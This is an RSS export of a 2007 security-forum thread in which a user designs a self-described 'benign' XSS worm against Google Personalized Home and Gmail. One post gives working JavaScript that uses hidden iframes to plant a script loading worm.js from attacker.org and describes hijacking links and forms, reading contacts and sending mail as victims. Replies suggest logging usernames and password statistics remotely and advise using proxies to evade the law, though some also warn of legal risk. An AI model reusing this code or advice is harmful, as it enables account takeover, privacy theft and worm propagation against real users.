<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>Functionality of XSS Worm</title>
        <description>I going to write a benign, non-malicious XSS Worm which target on a website.

Here is the background:
I already found out a persistent XSS, but that XSS is located on private page of user, no other user can access that page.
I have another reflective XSS which is located on public page.
I can get the email contact list of infected user and send email to others from infected user email account.

What functionalities should the worm has? Any suggestion?</description>
        <link>http://sla.ckers.org/forum/read.php?12,8620,8620#msg-8620</link>
        <lastBuildDate>Sat, 25 May 2013 19:27:25 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,9682#msg-9682</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,9682#msg-9682</link>
            <description><![CDATA[too profound for me to understand. But nice work Hong]]></description>
            <dc:creator>hackathology</dc:creator>
            <category>Projects</category>
            <pubDate>Sat, 07 Apr 2007 12:27:19 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,9609#msg-9609</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,9609#msg-9609</link>
            <description><![CDATA[It seems to be fixed.]]></description>
            <dc:creator>christ1an</dc:creator>
            <category>Projects</category>
            <pubDate>Fri, 06 Apr 2007 14:14:48 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,9596#msg-9596</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,9596#msg-9596</link>
            <description><![CDATA[wow.<br />
<br />
very interesting work, hong.]]></description>
            <dc:creator>Jib</dc:creator>
            <category>Projects</category>
            <pubDate>Fri, 06 Apr 2007 10:05:19 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,9594#msg-9594</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,9594#msg-9594</link>
            <description><![CDATA[Here is the detail of the persistent XSS Vuln:<br />
In Google Personalized Home, the Bookmarks gadget has a persistent XSS Vuln, the name of URI doesn't sanitize &lt; and &gt;, and it places inside a script tag, then we can insert a xss payload using --&gt;&lt;/script&gt;&lt;script&gt;XSS&lt;/script&gt;.<br />
All Bookmarks are saved on Google server.<br />
<br />
Google Personalized Home is a private page, that means you need another Google XSS to insert the persistent XSS, a reflective XSS is enough. To add XSS payload to Google Personalized Home, it can using the following code snippet.<br />
<br />
function infect()<br />
{<br />
    var fx= f2.document.getElementsByTagName(&quot;form&quot;);<br />
    for (var i=0; i&lt;fx.length;i++)<br />
    {<br />
        var act = fx<i>.action;<br />
        if(act.indexOf(&quot;/bookmarks/mark&quot;) != -1)<br />
        {<br />
            fx<i>.bkmk.value=&quot;http://www.attacker.org&quot;;<br />
			fx<i>.title.value=&quot;--&gt;&lt;/script&gt;&lt;script src=http://www.attacker.org/worm.js&gt;&lt;/script&gt;&quot;;<br />
			fx<i>.labels.value=&quot;homepage&quot;;<br />
			fx<i>.onsubmit();<br />
			fx<i>.submit();<br />
                        location.href='http://www.google.com/ig';<br />
			break;<br />
		}<br />
	}<br />
}<br />
<br />
function install()<br />
{<br />
	document.body.innerHTML+=&quot;&lt;iframe name='f2' style='width:0px;height:0px;border:0px' src='http://www.google.com/ig' onLoad='infect()'&gt;&lt;/iframe&gt;&quot;;<br />
}<br />
<br />
function addBookmarksGadget()<br />
{<br />
	var f= f1.document.advd;<br />
	f.url.value=&quot;http://www.google.com/ig/modules/bookmarks.xml&quot;;<br />
	f.onsubmit();<br />
	f.url.value=&quot;http://www.google.com/ig/modules/builtin_bookmarks.xml&quot;<br />
	f.onsubmit();<br />
	setTimeout('install()',1000);<br />
}<br />
<br />
document.body.innerHTML+=&quot;&lt;iframe name='f1' style='width:0px;height:0px;border:0px' src='/ig/directory?root=/ig&amp;dpos=top' onLoad='addBookmarksGadget()'&gt;&lt;/iframe&gt;&quot;;<br />
<br />
<br />
Because Bookmarks gadget has a size limit when adding bookmark, it uses Google Bookmarks to add bookmark. After added bookmark, every time infected user sign in and go to his Google Personalized Home, the worm.js will be download and execute.<br />
<br />
I wrote a simple benign worm, I call it GWorm, Here is some screenshots<br />
The source code of XSS inside Bookmarks gadget<br />
http://yathong.googlepages.com/GWorm1.jpg<br />
Different theme on Google Personalized Home<br />
http://yathong.googlepages.com/GWorm17.jpg<br />
http://yathong.googlepages.com/GWorm11.jpg<br />
http://yathong.googlepages.com/GWorm14.jpg<br />
http://yathong.googlepages.com/GWorm16.jpg<br />
Hijack all hyperlinks<br />
http://yathong.googlepages.com/GWorm10.jpg<br />
http://yathong.googlepages.com/GWorm6.jpg<br />
Hijack all forms<br />
http://yathong.googlepages.com/GWorm3.jpg<br />
<br />
GWorm also reads contact list, and it can send email to anyone from infected user gmail.<br />
<br />
I had already sent a email to google a week ago(29/3), and they replied me two email on the same day.<br />
<br />
Edited: One of the mail replied from google was not auto-reply and a fix is currently being worked.</i></i></i></i></i></i>]]></description>
            <dc:creator>Hong</dc:creator>
            <category>Projects</category>
            <pubDate>Fri, 06 Apr 2007 09:43:22 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,9250#msg-9250</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,9250#msg-9250</link>
            <description><![CDATA[cool hong. Try to anonymize as much as possible, but be careful ya.]]></description>
            <dc:creator>hackathology</dc:creator>
            <category>Projects</category>
            <pubDate>Sat, 31 Mar 2007 23:44:27 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,8768#msg-8768</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,8768#msg-8768</link>
            <description><![CDATA[Thanks.<br />
Yes, I want to stay out of jail, and I don't want to do any crime.<br />
<br />
Now my worm has some simple functions(i.e hijack links, forms, read contact list,etc).<br />
I think I won't publish the worm, and inform the company their holes.<br />
<br />
Maybe I capture some screenshots and post it later. :)]]></description>
            <dc:creator>Hong</dc:creator>
            <category>Projects</category>
            <pubDate>Fri, 23 Mar 2007 12:26:12 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,8748#msg-8748</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,8748#msg-8748</link>
            <description><![CDATA[No, that's absolutely correct.  Be legal, or be-ware.  :)  It's not that I want to give up logs, but I'm also realistic about the law.  So use proxies, fake everything and don't tell me about it if you want to be safe (not telling anyone about a crime is a good rule of thumb anyway).]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>Projects</category>
            <pubDate>Thu, 22 Mar 2007 23:17:17 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,8742#msg-8742</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,8742#msg-8742</link>
            <description><![CDATA[Be very careful Hong!  Remember what happened to Samy even though his worm had no malicious intent in the design.  As RSnake's said before, if folks come asking for logs with subpoenas, there's not much he can do (uhh, at least, I think he said that before, but this hasn't been my week, so maybe I'm mis-remembering).  Even if you have the best intentions in the world, I'd be extremely wary of considering something like this.<br />
<br />
Of course, if it requires user-interaction then the growth rate should certainly be limited and whomever the site is shouldn't be dos'ed as a result, but you never know.<br />
<br />
Just being purely selfish, we don't want to lose your contributions here because you get busted and can't access the internet outside of work!  ;-)]]></description>
            <dc:creator>psifertex</dc:creator>
            <category>Projects</category>
            <pubDate>Thu, 22 Mar 2007 20:56:18 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,8697#msg-8697</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,8697#msg-8697</link>
            <description><![CDATA[Personally I think it should be as realistic as possible except for that it shouldn't actually cause any damage (besides the small cost of bandwidth etc). So it should not collect private data such as their real name, address, email address etc. Collecting something such as their email host could be useful though (eg just the part after the @). Collecting stuff like their user agent and their username should be fine too. As for noticing that the user has already been infected. I don't think the user should discriminate in that way. If you log the username then you'd be able to later count the number of users that were &quot;infected&quot; more than once.<br />
<br />
As for spreading without interaction. As I said earlier it should try to be as realistic as possible,  a real worm would not require user interaction unless it had to.]]></description>
            <dc:creator>WhiteAcid</dc:creator>
            <category>Projects</category>
            <pubDate>Thu, 22 Mar 2007 11:25:22 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,8696#msg-8696</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,8696#msg-8696</link>
            <description><![CDATA[I will try to use ccl.whiteacid.org to bulid the logging system.<br />
<br />
But I still have some questions.<br />
Should it collect any private data?<br />
Should it notice users that they are infected by worm?<br />
Should it spread itself without user permit?<br />
<br />
I know all questions doesn't make sense, but the target site is one of the biggest site in the world, it provides email and many other services, it has a huge amount of users. Though it needs social engineering to spread it, I think it can be infect lot of users, I really don't want to scare anyone. I want to make the worm as benign as possible.]]></description>
            <dc:creator>Hong</dc:creator>
            <category>Projects</category>
            <pubDate>Thu, 22 Mar 2007 11:17:59 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,8644#msg-8644</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,8644#msg-8644</link>
            <description><![CDATA[Perhaps log where the e-mail is hosted at, the domain and the servers name.]]></description>
            <dc:creator>Kyran</dc:creator>
            <category>Projects</category>
            <pubDate>Wed, 21 Mar 2007 12:45:17 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,8622#msg-8622</guid>
            <title>Re: Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,8622#msg-8622</link>
            <description><![CDATA[It could send the username to a remote logging place which timestamps every log. This way you can see the growth rate. If it can read the password it could also send out stats about the password (such as its length and if it passes various regexes to test it's strength).<br />
<br />
You wouldn't need to build a logging thing, just use ccl.whiteacid.org, that will automatically also log the user agent, browser IP and referer and yes, it will timestamp each entry.<br />
<br />
I don't know if logging the email would do much good.]]></description>
            <dc:creator>WhiteAcid</dc:creator>
            <category>Projects</category>
            <pubDate>Wed, 21 Mar 2007 06:16:55 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?12,8620,8620#msg-8620</guid>
            <title>Functionality of XSS Worm</title>
            <link>http://sla.ckers.org/forum/read.php?12,8620,8620#msg-8620</link>
            <description><![CDATA[I going to write a benign, non-malicious XSS Worm which target on a website.<br />
<br />
Here is the background:<br />
I already found out a persistent XSS, but that XSS is located on private page of user, no other user can access that page.<br />
I have another reflective XSS which is located on public page.<br />
I can get the email contact list of infected user and send email to others from infected user email account.<br />
<br />
What functionalities should the worm has? Any suggestion?]]></description>
            <dc:creator>Hong</dc:creator>
            <category>Projects</category>
            <pubDate>Wed, 21 Mar 2007 05:40:48 -0500</pubDate>
        </item>
    </channel>
</rss>
